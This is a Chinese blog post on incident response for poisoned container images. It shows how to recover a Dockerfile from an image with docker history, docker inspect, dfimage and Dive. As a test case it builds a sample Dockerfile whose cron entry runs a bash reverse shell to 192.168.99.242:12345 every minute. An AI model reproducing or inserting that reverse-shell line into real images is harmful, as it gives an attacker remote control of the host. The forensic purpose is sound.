• Docker镜像解析获取Dockerfile文件


    01、概述

    当涉及到容器镜像的安全时,特别是在出现镜像投毒引发的安全事件时,追溯镜像的来源和解析Dockerfile文件是应急事件处理的关键步骤。在这篇博客中,我们将探讨如何从镜像解析获取Dockerfile文件,这对容器安全至关重要。

    02、环境准备

    利用Dockfile构建一个反弹shell的恶意镜像:

    1. FROM ubuntu:20.04
    2. RUN apt-get update &&\
    3. apt-get install -y cron &&\
    4. (echo '* * * * * bash -c "bash -i >& /dev/tcp/192.168.99.242/12345 0>&1"'; crontab -l )| crontab
    5. ENTRYPOINT ["cron","-f","&&"]
    6. CMD ["/bin/bash"]

    03、镜像解析Dockerfile

    3.1 镜像文件解析

    在镜像的元数据信息中,到镜像构建所使用的 Dockerfile,可以成功解析 Docker 镜像并获取其 Dockerfile 内容,以了解镜像的构建过程和引入的软件包及配置。

    1. docker save -o test.tar test:v1.0
    2.  tar -xvf test.tar

    94b35d821cdd597fa6ad8bdbf60f7182.png

    3.2 docker命令参数

    使用docker history 命令查看指定镜像的创建历史,展示只能看到一部分,可以加上 --no-trunc,就可以看到全部信息。

    1. docker history test:v1.0
    2. docker history test:v1.0  --no-trunc

    2ebb1b446a5d68d1facf587bc6e0fd6a.gif

    使用docker inspect命令来查看Docker镜像的详细信息,通过--format参数可自行定义输出信息,获取镜像的配置信息。

    1. #查看镜像的配置信息
    2. docker inspect --format='{{json .Config}}' test:v1.0

    ef3f213963c0184b8e56523ce79001b5.png

    3.3 dfimage

    dfimage是一款第三方工具,可用来从镜像中提取 Dockerfile

    (1)生成快捷方式,使用dfimage可以输出很详细的 Dockerfile。

    1. alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
    2. dfimage -sV=1.36 test:v1.0

    055b7b7dce9b44d414243824b4469683.gif

    3.4 Docker镜像分析神器 Dive

    Dive是一款Docker镜像分析神器,分析和浏览 Docker 容器镜像内部,可以很详细的看到每一层文件的变化。

    1. alias dive="docker run -ti --rm -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
    2. dive test:v1.0

    3027be674d8ad7c78b6d934c2d500ee7.gif

  • 相关阅读:
    MySQL修改表字段名
    Simulink代码生成: 可变子系统及其代码
    Pytorch---空间特征金字塔SPP模块的实现
    LeetCode·每日一题·1235.规划兼职工作·动态规划
    如何解决跨区域文件传输存在的安全管控问题?
    【测试沉思录】11. 如何进行基准测试?
    elasticSearch put全局更新和单个字段更新语法
    谷歌创新框架:从非结构化数据,实现多模态学习
    API自动化测试
    【CNN记录】tensorflow slice和strided_slice
  • 原文地址:https://blog.csdn.net/qq_23936389/article/details/132749132